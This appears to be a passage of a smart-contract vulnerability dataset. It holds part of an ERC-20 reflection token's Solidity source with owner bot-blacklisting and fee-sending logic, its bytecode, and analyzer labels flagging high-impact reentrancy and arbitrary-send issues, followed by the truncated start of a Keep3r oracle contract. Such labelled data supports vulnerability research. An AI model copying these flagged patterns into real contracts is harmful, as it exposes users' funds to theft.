sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063313ce567116100d1578063313ce567146101de5780633b81f226146102095780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612cc2565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127ec565b61042a565b60405161016d9190612ca7565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612e44565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612799565b610458565b6040516101d59190612ca7565b60405180910390f35b3480156101ea57600080fd5b506101f3610531565b6040516102009190612eb9565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b91906128cf565b61053a565b005b34801561023e57600080fd5b5061025960048036038101906102549190612875565b610619565b005b34801561026757600080fd5b506102706106cb565b005b34801561027e57600080fd5b50610299600480360381019061029491906126ff565b61073d565b6040516102a69190612e44565b60405180910390f35b3480156102bb57600080fd5b506102c461078e565b005b3480156102d257600080fd5b506102db6108e1565b6040516102e89190612bd9565b60405180910390f35b3480156102fd57600080fd5b5061030661090a565b6040516103139190612cc2565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127ec565b610947565b6040516103509190612ca7565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061282c565b610965565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612759565b611063565b6040516103e49190612e44565b60405180910390f35b60606040518060400160405280600f81526020017f54727563652046696e616e6369616c0000000000000000000000000000000000815250905090565b600061043e6104376110ea565b84846110f2565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112bd565b610526846104716110ea565b6105218560405180606001604052806028815260200161359760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c9092919063ffffffff16565b6110f2565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661057b6110ea565b73ffffffffffffffffffffffffffffffffffffffff161461059b57600080fd5b600081116105a857600080fd5b6105d76127106105c983670de0b6b3a7640000611ae090919063ffffffff16565b611b5b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161060e9190612e44565b60405180910390a150565b6106216110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612d84565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070c6110ea565b73ffffffffffffffffffffffffffffffffffffffff161461072c57600080fd5b600047905061073a81611ba5565b50565b6000610787600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca0565b9050919050565b6107966110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612d84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5452554345000000000000000000000000000000000000000000000000000000815250905090565b600061095b6109546110ea565b84846112bd565b6001905092915050565b61096d6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612d84565b60405180910390fd5b60005b8151811015610a8b576001600a6000848481518110610a1f57610a1e613201565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a839061315a565b9150506109fd565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061073d565b9050610b0681611d0e565b50565b610b116110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612d84565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612e04565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfb919061272c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d95919061272c565b6040518363ffffffff1660e01b8152600401610db2929190612bf4565b602060405180830381600087803b158015610dcc57600080fd5b505af1158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e04919061272c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8d3061073d565b600080610e986108e1565b426040518863ffffffff1660e01b8152600401610eba96959493929190612c46565b6060604051808303818588803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0c91906128fc565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506658d15e176280006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d929190612c1d565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906128a2565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612de4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612d24565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612e44565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612dc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490612ce4565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612da4565b60405180910390fd5b6113e86108e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145657506114266108e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b957600f60179054906101000a900460ff1615611689573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114d857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115325750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561168857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d26110ea565b73ffffffffffffffffffffffffffffffffffffffff1614806116485750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116306110ea565b73ffffffffffffffffffffffffffffffffffffffff16145b611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90612e24565b60405180910390fd5b5b5b60105481111561169857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61174557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117f05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561185e5750600f60179054906101000a900460ff165b156118ff5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ae57600080fd5b6014426118bb9190612f7a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190a3061073d565b9050600f60159054906101000a900460ff161580156119775750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600f60169054906101000a900460ff165b156119b75761199d81611d0e565b600047905060008111156119b5576119b447611ba5565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6a57600090505b611a7684848484611f96565b50505050565b6000838311158290611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abb9190612cc2565b60405180910390fd5b5060008385611ad3919061305b565b9050809150509392505050565b600080831415611af35760009050611b55565b60008284611b019190613001565b9050828482611b109190612fd0565b14611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4790612d64565b60405180910390fd5b809150505b92915050565b6000611b9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bf5600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c20573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c71600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c9c573d6000803e3d6000fd5b5050565b6000600654821115611ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cde90612d04565b60405180910390fd5b6000611cf1612026565b9050611d068184611b5b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4657611d45613230565b5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611d8c57611d8b613201565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2e57600080fd5b505afa158015611e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e66919061272c565b81600181518110611e7a57611e79613201565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f45959493929190612e5f565b600060405180830381600087803b158015611f5f57600080fd5b505af1158015611f73573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611fa457611fa3612051565b5b611faf848484612082565b80611fbd57611fbc61224d565b5b50505050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612cc2565b60405180910390fd5b50600083856120199190612fd0565b9050809150509392505050565b600080600061203361225e565b9150915061204a8183611b5b90919063ffffffff16565b9250505090565b600060085414801561206557506000600954145b1561206f57612080565b600060088190555060006009819055505b565b600080600080600080612094876122bd565b9550955095509550955095506120f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d3816123cd565b6121dd848361248a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161223a9190612e44565b60405180910390a3505050505050505050565b600880819055506002600981905550565b600080600060065490506000670de0b6b3a76400009050612292670de0b6b3a7640000600654611b5b90919063ffffffff16565b8210156122b057600654670de0b6b3a76400009350935050506122b9565b81819350935050505b9091565b60008060008060008060008060006122da8a6008546009546124c4565b92509250925060006122ea612026565b905060008060006122fd8e87878761255a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061236783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7c565b905092915050565b600080828461237e9190612f7a565b9050838110156123c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ba90612d44565b60405180910390fd5b8091505092915050565b60006123d7612026565b905060006123ee8284611ae090919063ffffffff16565b905061244281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61249f8260065461232590919063ffffffff16565b6006819055506124ba8160075461236f90919063ffffffff16565b6007819055505050565b6000806000806124f060646124e2888a611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061251a606461250c888b611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061254382612535858c61232590919063ffffffff16565b61232590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125738589611ae090919063ffffffff16565b9050600061258a8689611ae090919063ffffffff16565b905060006125a18789611ae090919063ffffffff16565b905060006125ca826125bc858761232590919063ffffffff16565b61232590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125f66125f184612ef9565b612ed4565b9050808382526020820190508285602086028201111561261957612618613264565b5b60005b85811015612649578161262f8882612653565b84526020840193506020830192505060018101905061261c565b5050509392505050565b60008135905061266281613551565b92915050565b60008151905061267781613551565b92915050565b600082601f8301126126925761269161325f565b5b81356126a28482602086016125e3565b91505092915050565b6000813590506126ba81613568565b92915050565b6000815190506126cf81613568565b92915050565b6000813590506126e48161357f565b92915050565b6000815190506126f98161357f565b92915050565b6000602082840312156127155761271461326e565b5b600061272384828501612653565b91505092915050565b6000602082840312156127425761274161326e565b5b600061275084828501612668565b91505092915050565b600080604083850312156127705761276f61326e565b5b600061277e85828601612653565b925050602061278f85828601612653565b9150509250929050565b6000806000606084860312156127b2576127b161326e565b5b60006127c086828701612653565b93505060206127d186828701612653565b92505060406127e2868287016126d5565b9150509250925092565b600080604083850312156128035761280261326e565b5b600061281185828601612653565b9250506020612822858286016126d5565b9150509250929050565b6000602082840312156128425761284161326e565b5b600082013567ffffffffffffffff8111156128605761285f613269565b5b61286c8482850161267d565b91505092915050565b60006020828403121561288b5761288a61326e565b5b6000612899848285016126ab565b91505092915050565b6000602082840312156128b8576128b761326e565b5b60006128c6848285016126c0565b91505092915050565b6000602082840312156128e5576128e461326e565b5b60006128f3848285016126d5565b91505092915050565b6000806000606084860312156129155761291461326e565b5b6000612923868287016126ea565b9350506020612934868287016126ea565b9250506040612945868287016126ea565b9150509250925092565b600061295b8383612967565b60208301905092915050565b6129708161308f565b82525050565b61297f8161308f565b82525050565b600061299082612f35565b61299a8185612f58565b93506129a583612f25565b8060005b838110156129d65781516129bd888261294f565b97506129c883612f4b565b9250506001810190506129a9565b5085935050505092915050565b6129ec816130a1565b82525050565b6129fb816130e4565b82525050565b6000612a0c82612f40565b612a168185612f69565b9350612a268185602086016130f6565b612a2f81613273565b840191505092915050565b6000612a47602383612f69565b9150612a5282613284565b604082019050919050565b6000612a6a602a83612f69565b9150612a75826132d3565b604082019050919050565b6000612a8d602283612f69565b9150612a9882613322565b604082019050919050565b6000612ab0601b83612f69565b9150612abb82613371565b602082019050919050565b6000612ad3602183612f69565b9150612ade8261339a565b604082019050919050565b6000612af6602083612f69565b9150612b01826133e9565b602082019050919050565b6000612b19602983612f69565b9150612b2482613412565b604082019050919050565b6000612b3c602583612f69565b9150612b4782613461565b604082019050919050565b6000612b5f602483612f69565b9150612b6a826134b0565b604082019050919050565b6000612b82601783612f69565b9150612b8d826134ff565b602082019050919050565b6000612ba5601183612f69565b9150612bb082613528565b602082019050919050565b612bc4816130cd565b82525050565b612bd3816130d7565b82525050565b6000602082019050612bee6000830184612976565b92915050565b6000604082019050612c096000830185612976565b612c166020830184612976565b9392505050565b6000604082019050612c326000830185612976565b612c3f6020830184612bbb565b9392505050565b600060c082019050612c5b6000830189612976565b612c686020830188612bbb565b612c7560408301876129f2565b612c8260608301866129f2565b612c8f6080830185612976565b612c9c60a0830184612bbb565b979650505050505050565b6000602082019050612cbc60008301846129e3565b92915050565b60006020820190508181036000830152612cdc8184612a01565b905092915050565b60006020820190508181036000830152612cfd81612a3a565b9050919050565b60006020820190508181036000830152612d1d81612a5d565b9050919050565b60006020820190508181036000830152612d3d81612a80565b9050919050565b60006020820190508181036000830152612d5d81612aa3565b9050919050565b60006020820190508181036000830152612d7d81612ac6565b9050919050565b60006020820190508181036000830152612d9d81612ae9565b9050919050565b60006020820190508181036000830152612dbd81612b0c565b9050919050565b60006020820190508181036000830152612ddd81612b2f565b9050919050565b60006020820190508181036000830152612dfd81612b52565b9050919050565b60006020820190508181036000830152612e1d81612b75565b9050919050565b60006020820190508181036000830152612e3d81612b98565b9050919050565b6000602082019050612e596000830184612bbb565b92915050565b600060a082019050612e746000830188612bbb565b612e8160208301876129f2565b8181036040830152612e938186612985565b9050612ea26060830185612976565b612eaf6080830184612bbb565b9695505050505050565b6000602082019050612ece6000830184612bca565b92915050565b6000612ede612eef565b9050612eea8282613129565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1457612f13613230565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f85826130cd565b9150612f90836130cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc557612fc46131a3565b5b828201905092915050565b6000612fdb826130cd565b9150612fe6836130cd565b925082612ff657612ff56131d2565b5b828204905092915050565b600061300c826130cd565b9150613017836130cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130505761304f6131a3565b5b828202905092915050565b6000613066826130cd565b9150613071836130cd565b925082821015613084576130836131a3565b5b828203905092915050565b600061309a826130ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130ef826130cd565b9050919050565b60005b838110156131145780820151818401526020810190506130f9565b83811115613123576000848401525b50505050565b61313282613273565b810181811067ffffffffffffffff8211171561315157613150613230565b5b80604052505050565b6000613165826130cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613198576131976131a3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61355a8161308f565b811461356557600080fd5b50565b613571816130a1565b811461357c57600080fd5b50565b613588816130cd565b811461359357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ae000564ca7432615f2a3f022aecf21661fc84b166b165f8abcc6cf560a814d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,647 |
0x7dbcd8f1b76591aed6a5baef7b63a6f745e1dc92 | /**
*Submitted for verification at Etherscan.io on 2021-03-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
